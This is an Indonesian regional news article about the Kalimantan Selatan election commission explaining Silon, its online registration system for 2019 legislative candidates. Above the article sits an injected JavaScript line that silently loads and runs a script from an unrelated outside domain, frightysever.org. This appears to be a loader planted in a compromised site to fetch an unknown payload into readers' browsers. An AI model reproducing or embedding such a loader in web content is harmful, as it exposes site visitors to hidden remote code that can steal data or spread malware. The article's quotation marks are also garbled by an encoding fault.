(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Jelang pemilu legislatif, Komisi Pemilihan Umum (KPU) Kalsel menggelar gelar sosialisasi tata cara dan pengajuan bakal calon dewan maupun anggota Dewan Perwakilan Daerah (DPD), Senin (2/7). Salah satu hal yang wajib dilakukan, adalah memasukkan proses pendaftaran melalui Sistem Informasi Pencalonan (Silon) KPU.
Ketua KPU Kalsel Edy Eriansyah mengatakan, Silon merupakan aplikasi yang wajib diisi bagi calon legislator (caleg), baik tingkat DPR RI, DPRD provinsi, dan DPRD kabupaten/kota, sebelum mengikuti Pemilu Legislatif 2019.
“Pengisian Silon bisa dilakukan 30 hari sebelum pendaftaran. Namun terlebih dahulu harus diawali pengajuan satu anggota dari setiap parpol untuk diregistrasi KPU menjadi operator Silon,†jelasnya.
Persyaratan yang harus dipenuhi antara lain, memegang SK dari parpol dan melampirkan fotokopi KTP, KTA, dan foto calon operator. “Silon wajib diisi supaya penyelenggara bisa mencegah adanya data ganda peserta pemilu,†tegasnya.
Edy Ariansyah berharap penggunaan aplikasi Silon dapat meningkatkan kepercayaan masyarakat terhadap Pemilu 2019 mendatang. “Karena melalui Silon masyarakat bisa melihat langsung biodata dan rekam jejak caleg Pemilu 2019, seperti profil diri, keluarga, pendidikan, organisasi serta lainnya,†pungkasnya.
Sistem Silon ini juga akan memantau dan mendeteksi potensi pelanggaran dalam proses pencalonan. Misalnya untuk mengidentifikasi calon legislatif yang mencalonkan diri di dua dapil. Atau di dua tingkatan level dewan perwakilan.
Silon juga akan memantau pemenuhan syarat-syarat pencalonan. Jika syarat belum terpenuhi, maka sistem akan mendeteksi dan mewajibkan calon memenuhi syarat secara keseluruhan. Ilham juga memaparkan bahwa sistem ini akan memastikan keterwakilan perempuan sebesar 30 persen dalam daftar calon yang diusulkan partai. Sehingga, sistem bisa menolak jika syarat keterwakilan perempuan belum terpenuhi.
Aplikasi Silon pun bisa langsung deteksi kalau ada kekurangan persyaratan. Sehingga KPU bisa minta penambahan atau menolak jika tidak sesuai dengan proses. Dengan demikian, penggunaan Silon membantu mewujudkan prinsip keterbukaan dan akuntabilitas penyelenggaraan pemilu, sebagaimana diatur dalam Pasal 3 huruf f dan huruf l pada Undang-Undang Nomor 17 Tahun 2017 tentang Pemilihan Umum. (ammar)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.